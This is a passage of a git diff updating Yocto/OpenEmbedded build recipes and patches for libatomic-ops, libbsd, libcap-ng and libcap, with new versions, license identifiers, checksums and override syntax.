+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libatomic-ops/libatomic-ops_7.6.10.bb b/meta/recipes-support/libatomic-ops/libatomic-ops_7.6.10.bb
deleted file mode 100644
index 7628eedb1b..0000000000
--- a/meta/recipes-support/libatomic-ops/libatomic-ops_7.6.10.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "A library for atomic integer operations"
-HOMEPAGE = "https://github.com/ivmai/libatomic_ops/"
-SECTION = "optional"
-PROVIDES += "libatomics-ops"
-LICENSE = "GPLv2 & MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://doc/LICENSING.txt;md5=e00dd5c8ac03a14c5ae5225a4525fa2d \
- "
-
-SRC_URI = "https://github.com/ivmai/libatomic_ops/releases/download/v${PV}/libatomic_ops-${PV}.tar.gz"
-UPSTREAM_CHECK_URI = "https://github.com/ivmai/libatomic_ops/releases"
-
-SRC_URI[md5sum] = "90a78a84d9c28ce11f331c25289bfbd0"
-SRC_URI[sha256sum] = "587edf60817f56daf1e1ab38a4b3c729b8e846ff67b4f62a6157183708f099af"
-
-S = "${WORKDIR}/libatomic_ops-${PV}"
-
-ALLOW_EMPTY_${PN} = "1"
-
-inherit autotools pkgconfig
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libatomic-ops/libatomic-ops_7.8.2.bb b/meta/recipes-support/libatomic-ops/libatomic-ops_7.8.2.bb
new file mode 100644
index 0000000000..824400e743
--- /dev/null
+++ b/meta/recipes-support/libatomic-ops/libatomic-ops_7.8.2.bb
@@ -0,0 +1,22 @@
+SUMMARY = "A library for atomic integer operations"
+DESCRIPTION = "Package provides semi-portable access to hardware-provided atomic memory update operations on a number of architectures."
+HOMEPAGE = "https://github.com/ivmai/libatomic_ops/"
+SECTION = "optional"
+PROVIDES += "libatomics-ops"
+LICENSE = "GPL-2.0-only & MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://LICENSE;md5=5700d28353dfa2f191ca9b1bd707865e \
+ "
+
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/libatomic_ops-${PV}.tar.gz"
+GITHUB_BASE_URI = "https://github.com/ivmai/libatomic_ops/releases"
+
+SRC_URI[sha256sum] = "d305207fe207f2b3fb5cb4c019da12b44ce3fcbc593dfd5080d867b1a2419b51"
+
+S = "${WORKDIR}/libatomic_ops-${PV}"
+
+ALLOW_EMPTY:${PN} = "1"
+
+inherit autotools pkgconfig github-releases
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libbsd/libbsd_0.10.0.bb b/meta/recipes-support/libbsd/libbsd_0.10.0.bb
deleted file mode 100644
index 3b9ac5a01f..0000000000
--- a/meta/recipes-support/libbsd/libbsd_0.10.0.bb
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2013 Khem Raj <raj.khem@gmail.com>
-# Released under the MIT license (see COPYING.MIT for the terms)
-
-SUMMARY = "Library of utility functions from BSD systems"
-DESCRIPTION = "This library provides useful functions commonly found on BSD systems, \
- and lacking on others like GNU systems, thus making it easier to port \
- projects with strong BSD origins, without needing to embed the same \
- code over and over again on each project."
-
-HOMEPAGE = "https://libbsd.freedesktop.org/wiki/"
-# There seems to be more licenses used in the code, I don't think we want to list them all here, complete list:
-# OE @ ~/projects/libbsd $ grep ^License: COPYING | sort -u
-# License: BSD-2-clause
-# License: BSD-2-clause-NetBSD
-# License: BSD-2-clause-author
-# License: BSD-2-clause-verbatim
-# License: BSD-3-clause
-# License: BSD-3-clause-author
-# License: BSD-3-clause-John-Birrell
-# License: BSD-3-clause-Regents
-# License: BSD-4-clause-Christopher-G-Demetriou
-# License: BSD-4-clause-Niels-Provos
-# License: BSD-5-clause-Peter-Wemm
-# License: Beerware
-# License: Expat
-# License: ISC
-# License: ISC-Original
-# License: public-domain
-# License: public-domain-Colin-Plumb
-LICENSE = "BSD-4-Clause & ISC & PD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2120be0173469a06ed185b688e0e1ae0"
-SECTION = "libs"
-
-SRC_URI = "https://libbsd.freedesktop.org/releases/${BPN}-${PV}.tar.xz"
-
-SRC_URI[md5sum] = "ead96d240d02faa5b921c0aa50c812b5"
-SRC_URI[sha256sum] = "34b8adc726883d0e85b3118fa13605e179a62b31ba51f676136ecb2d0bc1a887"
-
-inherit autotools pkgconfig
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libbsd/libbsd_0.12.2.bb b/meta/recipes-support/libbsd/libbsd_0.12.2.bb
new file mode 100644
index 0000000000..7d5e88f293
--- /dev/null
+++ b/meta/recipes-support/libbsd/libbsd_0.12.2.bb
@@ -0,0 +1,47 @@
+SUMMARY = "Library of utility functions from BSD systems"
+DESCRIPTION = "This library provides useful functions commonly found on BSD systems, \
+ and lacking on others like GNU systems, thus making it easier to port \
+ projects with strong BSD origins, without needing to embed the same \
+ code over and over again on each project."
+
+HOMEPAGE = "https://libbsd.freedesktop.org/wiki/"
+# There seems to be more licenses used in the code, I don't think we want to list them all here, complete list:
+# OE @ ~/projects/libbsd $ grep ^License: COPYING | sort -u
+# License: BSD-2-clause
+# License: BSD-2-clause-NetBSD
+# License: BSD-2-clause-author
+# License: BSD-2-clause-verbatim
+# License: BSD-3-clause
+# License: BSD-3-clause-author
+# License: BSD-3-clause-John-Birrell
+# License: BSD-3-clause-Regents
+# License: BSD-4-clause-Christopher-G-Demetriou
+# License: BSD-4-clause-Niels-Provos
+# License: BSD-5-clause-Peter-Wemm
+# License: Beerware
+# License: Expat
+# License: ISC
+# License: ISC-Original
+# License: public-domain
+# License: public-domain-Colin-Plumb
+LICENSE = "BSD-3-Clause & BSD-4-Clause & ISC & PD"
+LICENSE:${PN} = "BSD-3-Clause & ISC & PD"
+LICENSE:${PN}-dbg = "BSD-3-Clause & ISC & PD"
+LICENSE:${PN}-dev = "BSD-3-Clause & ISC & PD"
+LICENSE:${PN}-doc = "BSD-3-Clause & BSD-4-Clause & ISC & PD"
+LICENSE:${PN}-locale = "BSD-3-Clause & ISC & PD"
+LICENSE:${PN}-src = "BSD-3-Clause & ISC & PD"
+LICENSE:${PN}-staticdev = "BSD-3-Clause & ISC & PD"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=9b087a0981a1fcad42efbba6d4925a0f"
+SECTION = "libs"
+
+SRC_URI = "https://libbsd.freedesktop.org/releases/${BPN}-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "b88cc9163d0c652aaf39a99991d974ddba1c3a9711db8f1b5838af2a14731014"
+
+inherit autotools pkgconfig
+
+DEPENDS += "libmd"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libcap-ng/files/fix-issues-with-swig-4-2.patch b/meta/recipes-support/libcap-ng/files/fix-issues-with-swig-4-2.patch
new file mode 100644
index 0000000000..fb424fe725
--- /dev/null
+++ b/meta/recipes-support/libcap-ng/files/fix-issues-with-swig-4-2.patch
@@ -0,0 +1,32 @@
+From 355eada2d20886287cffc16e304087dd6f66ae37 Mon Sep 17 00:00:00 2001
+From: Steve Grubb <ausearch.1@gmail.com>
+Date: Thu, 4 Jan 2024 15:06:29 -0500
+Subject: [PATCH] Remove python global exception handler since its deprecated
+
+Upstream-Status: Backport [https://github.com/stevegrubb/libcap-ng/commit/30453b6553948cd05c438f9f509013e3bb84f25b]
+Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
+---
+ bindings/src/capng_swig.i | 7 -------
+ 1 file changed, 7 deletions(-)
+
+diff --git a/bindings/src/capng_swig.i b/bindings/src/capng_swig.i
+index fcdaf18..fa85e13 100644
+--- a/bindings/src/capng_swig.i
++++ b/bindings/src/capng_swig.i
+@@ -30,13 +30,6 @@
+
+ %varargs(16, signed capability = 0) capng_updatev;
+
+-%except(python) {
+- $action
+- if (result < 0) {
+- PyErr_SetFromErrno(PyExc_OSError);
+- return NULL;
+- }
+-}
+ #endif
+
+ %define __signed__
+--
+2.43.2
+
diff --git a/meta/recipes-support/libcap-ng/libcap-ng-python_0.7.10.bb b/meta/recipes-support/libcap-ng/libcap-ng-python_0.7.10.bb
deleted file mode 100644
index 43f76dc561..0000000000
--- a/meta/recipes-support/libcap-ng/libcap-ng-python_0.7.10.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-require libcap-ng.inc
-
-FILESEXTRAPATHS_prepend := "${THISDIR}/libcap-ng:"
-
-SUMMARY .= " - python"
-
-inherit lib_package autotools python3native
-
-DEPENDS += "libcap-ng python3 swig-native"
-
-S = "${WORKDIR}/libcap-ng-${PV}"
-
-EXTRA_OECONF += "--with-python --with-python3"
-EXTRA_OEMAKE += "PYLIBVER='python${PYTHON_BASEVERSION}${PYTHON_ABI}' PYINC='${STAGING_INCDIR}/${PYLIBVER}'"
-
-do_install_append() {
- rm -rf ${D}${bindir}
- rm -rf ${D}${libdir}/.debug
- rm -f ${D}${libdir}/lib*
- rm -rf ${D}${libdir}/pkgconfig
- rm -rf ${D}${datadir}
- rm -rf ${D}${includedir}
-}
-
-# PACKAGES = "${PN}"
-
-FILES_${PN} = "${libdir}/python${PYTHON_BASEVERSION}"
-FILES_${PN}-dbg =+ "${PYTHON_SITEPACKAGES_DIR}/.debug/_capng.so"
-
diff --git a/meta/recipes-support/libcap-ng/libcap-ng-python_0.8.4.bb b/meta/recipes-support/libcap-ng/libcap-ng-python_0.8.4.bb
new file mode 100644
index 0000000000..4790134ae9
--- /dev/null
+++ b/meta/recipes-support/libcap-ng/libcap-ng-python_0.8.4.bb
@@ -0,0 +1,29 @@
+require libcap-ng.inc
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/libcap-ng:"
+
+SUMMARY .= " - python"
+
+inherit lib_package autotools python3targetconfig
+
+# drop setuptools when version > 0.8.3 is released; it's needed only for distutils
+DEPENDS += "libcap-ng python3 swig-native python3-setuptools-native"
+
+S = "${WORKDIR}/libcap-ng-${PV}"
+
+EXTRA_OECONF += "--with-python3"
+
+do_install:append() {
+ rm -rf ${D}${bindir}
+ rm -rf ${D}${libdir}/.debug
+ rm -f ${D}${libdir}/lib*
+ rm -rf ${D}${libdir}/pkgconfig
+ rm -rf ${D}${datadir}
+ rm -rf ${D}${includedir}
+}
+
+# PACKAGES = "${PN}"
+
+FILES:${PN} = "${libdir}/python${PYTHON_BASEVERSION}"
+FILES:${PN}-dbg =+ "${PYTHON_SITEPACKAGES_DIR}/.debug/_capng.so"
+
diff --git a/meta/recipes-support/libcap-ng/libcap-ng.inc b/meta/recipes-support/libcap-ng/libcap-ng.inc
index 002915ad48..845b7c2f0a 100644
--- a/meta/recipes-support/libcap-ng/libcap-ng.inc
+++ b/meta/recipes-support/libcap-ng/libcap-ng.inc
@@ -3,17 +3,17 @@ DESCRIPTION = "The libcap-ng library is intended to make programming \
with POSIX capabilities much easier than the traditional libcap library."
HOMEPAGE = "http://freecode.com/projects/libcap-ng"
SECTION = "base"
-LICENSE = "GPLv2+ & LGPLv2.1+"
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://COPYING.LIB;md5=e3eda01d9815f8d24aae2dbd89b68b06"
-SRC_URI = "http://people.redhat.com/sgrubb/libcap-ng/libcap-ng-${PV}.tar.gz \
- file://python.patch \
- file://0001-configure.ac-add-library-if-header-found.patch \
- file://0002-Wrap-pthread_atfork-usage-in-HAVE_PTHREAD_H.patch \
-"
+SRC_URI = "https://people.redhat.com/sgrubb/libcap-ng/libcap-ng-${PV}.tar.gz \
+ file://fix-issues-with-swig-4-2.patch \
+ "
-SRC_URI[md5sum] = "57dc267e2949cdecb651a929f9206572"
-SRC_URI[sha256sum] = "a84ca7b4e0444283ed269b7a29f5b6187f647c82e2b876636b49b9a744f0ffbf"
+SRC_URI[sha256sum] = "68581d3b38e7553cb6f6ddf7813b1fc99e52856f21421f7b477ce5abd2605a8a"
+
+EXTRA_OECONF:append:class-target = " --with-capability_header=${STAGING_INCDIR}/linux/capability.h"
+EXTRA_OECONF:append:class-nativesdk = " --with-capability_header=${STAGING_INCDIR}/linux/capability.h"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libcap-ng/libcap-ng/0001-configure.ac-add-library-if-header-found.patch b/meta/recipes-support/libcap-ng/libcap-ng/0001-configure.ac-add-library-if-header-found.patch
deleted file mode 100644
index 6b155ccea8..0000000000
--- a/meta/recipes-support/libcap-ng/libcap-ng/0001-configure.ac-add-library-if-header-found.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 0230e2e374bb71aed0181ccd9ebd13c0c5125a5d Mon Sep 17 00:00:00 2001
-From: Trevor Woerner <twoerner@gmail.com>
-Date: Fri, 25 Oct 2019 17:01:20 -0400
-Subject: [PATCH] configure.ac: add library if header found
-
-If the pthread.h header is found, make sure library containing
-"pthread_atfork" is added to the list of libraries against which to link.
-On some hosts (e.g. openSUSE 15.1) "-lpthread" needs to be explicitly added
-in order for the code to compile correctly.
-
-Upstream-Status: Submitted [https://github.com/stevegrubb/libcap-ng/pull/10]
-Signed-off-by: Trevor Woerner <twoerner@gmail.com>
----
- configure.ac | 4 +++-
- 1 file changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 63088f4..639b464 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -56,7 +56,9 @@ AC_CHECK_HEADERS(sys/xattr.h, [], [
- AC_CHECK_HEADERS(attr/xattr.h, [], [AC_MSG_WARN(attr/xattr.h not found, disabling file system capabilities.)])
- ])
- AC_CHECK_HEADERS(linux/securebits.h, [], [])
--AC_CHECK_HEADERS(pthread.h, [], [AC_MSG_WARN(pthread.h not found, disabling pthread_atfork.)])
-+AC_CHECK_HEADERS(pthread.h,
-+ [AC_SEARCH_LIBS(pthread_atfork, pthread)],
-+ [AC_MSG_WARN(pthread.h not found, disabling pthread_atfork.)])
-
- AC_C_CONST
- AC_C_INLINE
diff --git a/meta/recipes-support/libcap-ng/libcap-ng/0002-Wrap-pthread_atfork-usage-in-HAVE_PTHREAD_H.patch b/meta/recipes-support/libcap-ng/libcap-ng/0002-Wrap-pthread_atfork-usage-in-HAVE_PTHREAD_H.patch
deleted file mode 100644
index c68254ff3d..0000000000
--- a/meta/recipes-support/libcap-ng/libcap-ng/0002-Wrap-pthread_atfork-usage-in-HAVE_PTHREAD_H.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-From d95c4018ad57c37f6272dbedfa5217776567c329 Mon Sep 17 00:00:00 2001
-From: Christopher Larson <chris_larson@mentor.com>
-Date: Tue, 26 Nov 2019 22:34:34 +0500
-Subject: [PATCH] Wrap pthread_atfork usage in HAVE_PTHREAD_H
-
-Upstream-Status: Pending
-Signed-off-by: Christopher Larson <chris_larson@mentor.com>
----
- src/cap-ng.c | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/src/cap-ng.c b/src/cap-ng.c
-index 35fcd7a..97a3dbd 100644
---- a/src/cap-ng.c
-+++ b/src/cap-ng.c
-@@ -166,7 +166,9 @@ static void deinit(void)
- static void init_lib(void) __attribute__ ((constructor));
- static void init_lib(void)
- {
-+#ifdef HAVE_PTHREAD_H
- pthread_atfork(NULL, NULL, deinit);
-+#endif
- }
-
- static void init(void)
diff --git a/meta/recipes-support/libcap-ng/libcap-ng/python.patch b/meta/recipes-support/libcap-ng/libcap-ng/python.patch
deleted file mode 100644
index d60a0a39b6..0000000000
--- a/meta/recipes-support/libcap-ng/libcap-ng/python.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From b4a354ae8d4f7c2ec3ec421c7d8a790cc57e77a9 Mon Sep 17 00:00:00 2001
-From: Li xin <lixin.fnst@cn.fujitsu.com>
-Date: Sat, 18 Jul 2015 23:03:30 +0900
-Subject: [PATCH] configure.ac - Avoid an incorrect check for python.
- Makefile.am - avoid hard coded host include paths.
-
-Upstream-Status: pending
-
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
-Signed-off-by: Li Xin <lixin.fnst@cn.fujitsu.com>
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- bindings/python/Makefile.am | 4 +++-
- configure.ac | 17 ++---------------
- 2 files changed, 5 insertions(+), 16 deletions(-)
-
-diff --git a/bindings/python/Makefile.am b/bindings/python/Makefile.am
-index 999b184..c8e49db 100644
---- a/bindings/python/Makefile.am
-+++ b/bindings/python/Makefile.am
-@@ -23,7 +23,9 @@
- SUBDIRS = test
- CONFIG_CLEAN_FILES = *.loT *.rej *.orig
- AM_CFLAGS = -fPIC -DPIC
--AM_CPPFLAGS = -I. -I$(top_builddir) -I@PYINCLUDEDIR@
-+PYLIBVER ?= python$(PYTHON_VERSION)
-+PYINC ?= /usr/include/$(PYLIBVER)
-+AM_CPPFLAGS = -I. -I$(top_builddir) -I$(PYINC)
- SWIG_FLAGS = -python
- SWIG_INCLUDES = ${AM_CPPFLAGS}
- pyexec_PYTHON = capng.py
-diff --git a/configure.ac b/configure.ac
-index 7f66179..079d026 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -123,21 +123,8 @@ if test x$use_python = xno ; then
- else
- AC_MSG_RESULT(testing)
- AM_PATH_PYTHON
--PYINCLUDEDIR=`python${am_cv_python_version} -c "from distutils import sysconfig; print(sysconfig.get_config_var('INCLUDEPY'))"`
--if test -f ${PYINCLUDEDIR}/Python.h ; then
-- python_found="yes"
-- AC_SUBST(PYINCLUDEDIR)
-- pybind_dir="python"
-- AC_SUBST(pybind_dir)
-- AC_MSG_NOTICE(Python bindings will be built)
--else
-- python_found="no"
-- if test x$use_python = xyes ; then
-- AC_MSG_ERROR([Python explicitly requested and python headers were not found])
-- else
-- AC_MSG_WARN("Python headers not found - python bindings will not be made")
-- fi
--fi
-+python_found="yes"
-+AC_MSG_NOTICE(Python bindings will be built)
- fi
- AM_CONDITIONAL(HAVE_PYTHON, test ${python_found} = "yes")
-
---
-2.7.4
-
diff --git a/meta/recipes-support/libcap-ng/libcap-ng_0.7.10.bb b/meta/recipes-support/libcap-ng/libcap-ng_0.7.10.bb
deleted file mode 100644
index 6e6de45494..0000000000
--- a/meta/recipes-support/libcap-ng/libcap-ng_0.7.10.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-require libcap-ng.inc
-
-inherit lib_package autotools
-
-EXTRA_OECONF += "--without-python --without-python3"
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_install_append() {
- # Moving libcap-ng to base_libdir
- if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
- mkdir -p ${D}/${base_libdir}/
- mv -f ${D}${libdir}/libcap-ng.so.* ${D}${base_libdir}/
- relpath=${@os.path.relpath("${base_libdir}", "${libdir}")}
- ln -sf ${relpath}/libcap-ng.so.0.0.0 ${D}${libdir}/libcap-ng.so
- fi
-}
diff --git a/meta/recipes-support/libcap-ng/libcap-ng_0.8.4.bb b/meta/recipes-support/libcap-ng/libcap-ng_0.8.4.bb
new file mode 100644
index 0000000000..3dbe3e2ffd
--- /dev/null
+++ b/meta/recipes-support/libcap-ng/libcap-ng_0.8.4.bb
@@ -0,0 +1,17 @@
+require libcap-ng.inc
+
+inherit lib_package autotools
+
+EXTRA_OECONF += "--without-python3"
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_install:append() {
+ # Moving libcap-ng to base_libdir
+ if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
+ mkdir -p ${D}/${base_libdir}/
+ mv -f ${D}${libdir}/libcap-ng.so.* ${D}${base_libdir}/
+ relpath=${@os.path.relpath("${base_libdir}", "${libdir}")}
+ ln -sf ${relpath}/libcap-ng.so.0.0.0 ${D}${libdir}/libcap-ng.so
+ fi
+}
diff --git a/meta/recipes-support/libcap/files/0001-nativesdk-libcap-Raise-the-size-of-arrays-containing.patch b/meta/recipes-support/libcap/files/0001-nativesdk-libcap-Raise-the-size-of-arrays-containing.patch
new file mode 100644
index 0000000000..2ac1e6e560
--- /dev/null
+++ b/meta/recipes-support/libcap/files/0001-nativesdk-libcap-Raise-the-size-of-arrays-containing.patch
@@ -0,0 +1,34 @@
+From 709aa8e156415215b0bb034d05b2aa2f44be044e Mon Sep 17 00:00:00 2001
+From: Hongxu Jia <hongxu.jia@windriver.com>
+Date: Thu, 14 Oct 2021 15:57:36 +0800
+Subject: [PATCH] nativesdk-libcap: Raise the size of arrays containing dl
+ paths
+
+This patch puts the dynamic loader path in the binaries, SYSTEM_DIRS strings
+and lengths as well as ld.so.cache path in the dynamic loader to specific
+sections in memory. The sections that contain paths have been allocated a 4096
+byte section, which is the maximum path length in linux. This will allow the
+relocating script to parse the ELF binary, detect the section and easily replace
+the strings in a certain path.
+
+Upstream-Status: Inappropriate [SDK specific]
+
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
+---
+ libcap/execable.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/libcap/execable.h b/libcap/execable.h
+index fee17b4..5bb0c55 100644
+--- a/libcap/execable.h
++++ b/libcap/execable.h
+@@ -23,7 +23,7 @@
+ #endif
+ #define __EXECABLE_H
+
+-const char __execable_dl_loader[] __attribute((section(".interp"))) =
++const char __execable_dl_loader[4096] __attribute((section(".interp"))) =
+ SHARED_LOADER ;
+
+ static void __execable_parse_args(int *argc_p, char ***argv_p)
diff --git a/meta/recipes-support/libcap/files/0001-tests-do-not-statically-link-a-test.patch b/meta/recipes-support/libcap/files/0001-tests-do-not-statically-link-a-test.patch
deleted file mode 100644
index 81fdd2a15c..0000000000
--- a/meta/recipes-support/libcap/files/0001-tests-do-not-statically-link-a-test.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From e4fe6890e07821d60f01f000a95f7944f3d68139 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 15 Jan 2020 17:16:28 +0100
-Subject: [PATCH] tests: do not statically link a test
-
-This fails on e.g. centos 7
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- tests/Makefile | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/tests/Makefile b/tests/Makefile
-index 876a8b9..93a0e3a 100644
---- a/tests/Makefile
-+++ b/tests/Makefile
-@@ -26,23 +26,23 @@ psx_test: psx_test.c $(DEPS)
- run_libcap_psx_test: libcap_psx_test
-
- libcap_psx_test: libcap_psx_test.c $(DEPS)
-- $(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LIBCAPLIB) $(LIBPSXLIB) -Wl,-wrap,pthread_create --static
-+ $(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LIBCAPLIB) $(LIBPSXLIB) -Wl,-wrap,pthread_create
-
- run_libcap_launch_test: libcap_launch_test libcap_psx_launch_test noop
- sudo ./libcap_launch_test
- sudo ./libcap_psx_launch_test
-
- libcap_launch_test: libcap_launch_test.c $(DEPS)
-- $(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LIBCAPLIB) --static
-+ $(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LIBCAPLIB)
-
- # this varies only slightly from the above insofar as it currently
- # only links in the pthreads fork support. TODO() we need to change
- # the source to do something interesting with pthreads.
- libcap_psx_launch_test: libcap_launch_test.c $(DEPS)
-- $(CC) $(CFLAGS) $(IPATH) -DWITH_PTHREADS $< -o $@ $(LIBCAPLIB) $(LIBPSXLIB) -Wl,-wrap,pthread_create --static
-+ $(CC) $(CFLAGS) $(IPATH) -DWITH_PTHREADS $< -o $@ $(LIBCAPLIB) $(LIBPSXLIB) -Wl,-wrap,pthread_create
-
- noop: noop.c
-- $(CC) $(CFLAGS) $< -o $@ --static
-+ $(CC) $(CFLAGS) $< -o $@
-
- clean:
- rm -f psx_test libcap_psx_test libcap_launch_test *~
diff --git a/meta/recipes-support/libcap/files/0002-tests-do-not-run-target-executables.patch b/meta/recipes-support/libcap/files/0002-tests-do-not-run-target-executables.patch
index e8f1df98c1..20346cf2fb 100644
--- a/meta/recipes-support/libcap/files/0002-tests-do-not-run-target-executables.patch
+++ b/meta/recipes-support/libcap/files/0002-tests-do-not-run-target-executables.patch
@@ -1,4 +1,4 @@
-From 5583b48c04d5bf50b56473d88d990c3f0bc45c14 Mon Sep 17 00:00:00 2001
+From 10212b6d4e8843feffbeab5336342d97f3a46bb2 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 20 Dec 2019 16:54:05 +0100
Subject: [PATCH] tests: do not run target executables
@@ -11,20 +11,20 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 2 deletions(-)
diff --git a/tests/Makefile b/tests/Makefile
-index bfedbc2..876a8b9 100644
+index ecb7d1b..8950c73 100644
--- a/tests/Makefile
+++ b/tests/Makefile
-@@ -19,13 +19,11 @@ sudotest: test run_libcap_launch_test run_libcap_launch_test
- install: all
+@@ -61,13 +61,11 @@ endif
+ # unprivileged
run_psx_test: psx_test
- ./psx_test
psx_test: psx_test.c $(DEPS)
- $(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LIBPSXLIB) -Wl,-wrap,pthread_create
+ $(CC) $(CFLAGS) $(CPPFLAGS) $(LDFLAGS) $< -o $@ $(LINKEXTRA) $(LIBPSXLIB)
run_libcap_psx_test: libcap_psx_test
- ./libcap_psx_test
libcap_psx_test: libcap_psx_test.c $(DEPS)
- $(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LIBCAPLIB) $(LIBPSXLIB) -Wl,-wrap,pthread_create --static
+ $(CC) $(CFLAGS) $(CPPFLAGS) $(LDFLAGS) $< -o $@ $(LINKEXTRA) $(LIBCAPLIB) $(LIBPSXLIB)
diff --git a/meta/recipes-support/libcap/libcap_2.42.bb b/meta/recipes-support/libcap/libcap_2.42.bb
deleted file mode 100644
index 48f8f92628..0000000000
--- a/meta/recipes-support/libcap/libcap_2.42.bb
+++ /dev/null
@@ -1,76 +0,0 @@
-SUMMARY = "Library for getting/setting POSIX.1e capabilities"
-HOMEPAGE = "http://sites.google.com/site/fullycapable/"
-
-# no specific GPL version required
-LICENSE = "BSD | GPLv2"
-LIC_FILES_CHKSUM = "file://License;md5=3f84fd6f29d453a56514cb7e4ead25f1"
-
-DEPENDS = "hostperl-runtime-native gperf-native"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/libs/security/linux-privs/${BPN}2/${BPN}-${PV}.tar.xz \
- file://0001-ensure-the-XATTR_NAME_CAPS-is-defined-when-it-is-use.patch \
- file://0002-tests-do-not-run-target-executables.patch \
- file://0001-tests-do-not-statically-link-a-test.patch \
- "
-SRC_URI[sha256sum] = "3605a9cb60076547ea9f64989e0ba576da9508e4653e8dc40ae54c0d6f443dfd"
-
-UPSTREAM_CHECK_URI = "https://www.kernel.org/pub/linux/libs/security/linux-privs/${BPN}2/"
-
-inherit lib_package
-
-# do NOT pass target cflags to host compilations
-#
-do_configure() {
- # libcap uses := for compilers, fortunately, it gives us a hint
- # on what should be replaced with ?=
- sed -e 's,:=,?=,g' -i Make.Rules
- sed -e 's,^BUILD_CFLAGS ?= ,BUILD_CFLAGS := $(BUILD_CFLAGS) ,' -i Make.Rules
-}
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
-PACKAGECONFIG_class-native ??= ""
-
-PACKAGECONFIG[pam] = "PAM_CAP=yes,PAM_CAP=no,libpam"
-
-EXTRA_OEMAKE = " \
- INDENT= \
- lib='${baselib}' \
- RAISE_SETFCAP=no \
- DYNAMIC=yes \
- BUILD_GPERF=yes \
-"
-
-EXTRA_OEMAKE_append_class-target = " SYSTEM_HEADERS=${STAGING_INCDIR}"
-
-# these are present in the libcap defaults, so include in our CFLAGS too
-CFLAGS += "-D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64"
-
-do_compile() {
- oe_runmake ${PACKAGECONFIG_CONFARGS}
-}
-
-do_install() {
- oe_runmake install \
- ${PACKAGECONFIG_CONFARGS} \
- DESTDIR="${D}" \
- prefix="${prefix}" \
- SBINDIR="${sbindir}"
-}
-
-do_install_append() {
- # Move the library to base_libdir
- install -d ${D}${base_libdir}
- if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
- mv ${D}${libdir}/libcap* ${D}${base_libdir}
- if [ -d ${D}${libdir}/security ]; then
- mv ${D}${libdir}/security ${D}${base_libdir}
- fi
- fi
-}
-
-FILES_${PN}-dev += "${base_libdir}/*.so"
-
-# pam files
-FILES_${PN} += "${base_libdir}/security/*.so"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libcap/libcap_2.69.bb b/meta/recipes-support/libcap/libcap_2.69.bb
new file mode 100644
index 0000000000..92fa766d37
--- /dev/null
+++ b/meta/recipes-support/libcap/libcap_2.69.bb
@@ -0,0 +1,79 @@
+SUMMARY = "Library for getting/setting POSIX.1e capabilities"
+DESCRIPTION = "A library providing the API to access POSIX capabilities. \
+These allow giving various kinds of specific privileges to individual \
+users, without giving them full root permissions."
+HOMEPAGE = "http://sites.google.com/site/fullycapable/"
+# no specific GPL version required
+LICENSE = "BSD-3-Clause | GPL-2.0-only"
+LIC_FILES_CHKSUM_PAM = "file://pam_cap/License;md5=905326f41d3d1f8df21943f9a4ed6b50"
+LIC_FILES_CHKSUM = "file://License;md5=2965a646645b72ecee859b43c592dcaa \
+ ${@bb.utils.contains('PACKAGECONFIG', 'pam', '${LIC_FILES_CHKSUM_PAM}', '', d)} \
+ "
+
